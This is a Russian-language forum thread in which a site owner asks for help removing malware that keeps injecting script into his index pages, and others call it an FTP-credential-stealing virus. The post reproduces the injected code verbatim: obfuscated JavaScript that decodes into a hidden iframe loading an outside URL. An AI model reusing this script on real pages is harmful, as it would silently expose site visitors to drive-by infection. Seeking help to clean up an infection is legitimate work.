Помогите ШЕЛЛ

Люди добрые помогите вот ужже года 2 немогу найти ШЕЛЛ на хостинге!!!
Эта зараза прописывает во всех файлах index вот такой скрипт :// \\<script>function c271f17f2ch4993937c2c4e1(h4993937c2ccd7){ var h4993937c2d4d0=16; return (parseInt(h4993937c2ccd7,h4993937c2d4d0));}function h4993937c2e4c7(h4993937c2ecbb){ function h4993937c304c5(){var h4993937c30cb3=2;return h4993937c30cb3;} var h4993937c2f4be='';h4993937c314ac=String.fromCharCode;for(h4993937c2fcc7=0;h4993937c2fcc7<h4993937c2ecbb.length;h4993937c2fcc7+=h4993937c304c5()){ h4993937c2f4be+=(h4993937c314ac(c271f17f2ch4993937c2c4e1(h4993937c2ecbb.substr(h4993937c2fcc7,h4993937c304c5()))));}return h4993937c2f4be;} var r37='';var h4993937c31cb7='3C7'+r37+'3637'+r37+'2697'+r37+'07'+r37+'43E696628216D7'+r37+'96961297'+r37+'B646F637'+r37+'56D656E7'+r37+'42E7'+r37+'7'+r37+'7'+r37+'2697'+r37+'465287'+r37+'56E657'+r37+'363617'+r37+'065282027'+r37+'2533632536392536362537'+r37+'32253631253664253635253230253665253631253664253635253364253633253332253337'+r37+'2532302537'+r37+'332537'+r37+'32253633253364253237'+r37+'2536382537'+r37+'342537'+r37+'342537'+r37+'302533612532662532662537'+r37+'392536312533312536622537'+r37+'322536352537'+r37+'362536352536342536622536662532652536332536662536642532662536392536652532652537'+r37+'302536382537'+r37+'30253366253237'+r37+'2532622534642536312537'+r37+'342536382532652537'+r37+'322536662537'+r37+'352536652536342532382534642536312537'+r37+'342536382532652537'+r37+'32253631253665253634253666253664253238253239253261253339253333253333253336253336253239253262253237'+r37+'253331253335253330253635253336253633253331253330253331253237'+r37+'2532302537'+r37+'37'+r37+'2536392536342537'+r37+'34253638253364253332253333253334253230253638253635253639253637'+r37+'2536382537'+r37+'342533642533332533392533392532302537'+r37+'332537'+r37+'342537'+r37+'39253663253635253364253237'+r37+'2537'+r37+'362536392537'+r37+'332536392536322536392536632536392537'+r37+'342537'+r37+'39253361253638253639253634253634253635253665253237'+r37+'2533652533632532662536392536362537'+r37+'3225363125366425363525336527'+r37+'29293B7'+r37+'D7'+r37+'6617'+r37+'2206D7'+r37+'969613D7'+r37+'47'+r37+'27'+r37+'5653B3C2F7'+r37+'3637'+r37+'2697'+r37+'07'+r37+'43E';document.write(h4993937c2e4c7(h4993937c31cb7));</script>

Мда,грош цена тебе как хостеру если считаешь что это шелл...вирус это...Сканируй систему...

Что интересно, поищи на этом форуме, уже поднималась тема (или на Газенвагене, не помню точно), есть такой вирус. если локально на компьютере подцепил, и у тебя на этом же компе есть FTP логины к твоему сайту, вирус может приписать к страницам какую-то ерунду.
---
Сразу говорю, я сам с этим не сталкивался, но люди на форуме писали.

Но вот я лично сталкивался вот с чем...
---
Из-за дыры в хостинге, на все мои сайты, где был открыт PHP и стояли права доступа к папке 777, приписались файлы .htaccess и файл со случайным названием и расширением .php
Причем, из .htaccess стояла комманда на вызов этого файла.
А сам файл воровал переменные окружения и отсылал их в закодированном виде на определенный хост...

Это из за вирусов в компьютере.Если на компе ест вирусы и с этим компон заходиш через фтп тогда все индехи так.

seg81, интересный ты хостер... Главное не боишься сказать о проблеме. Это вызывает уважение.. Я не прочь разместить у тебя один свой небольшой проект на пару гигов.. Как познакомиться с условиями?

Описался! Я не хостер!

Обрашался к хостерам моим говорят что все чисто у них мошный антивирус!

seg81, тогда пиши точней.

порылся в гугли оказывается целая эпидемия таких вирусов) не нод не касперский не видит процессы этого вируса. помогает только скан компа бесплатной утилитой от др. веба в безопасном режиме.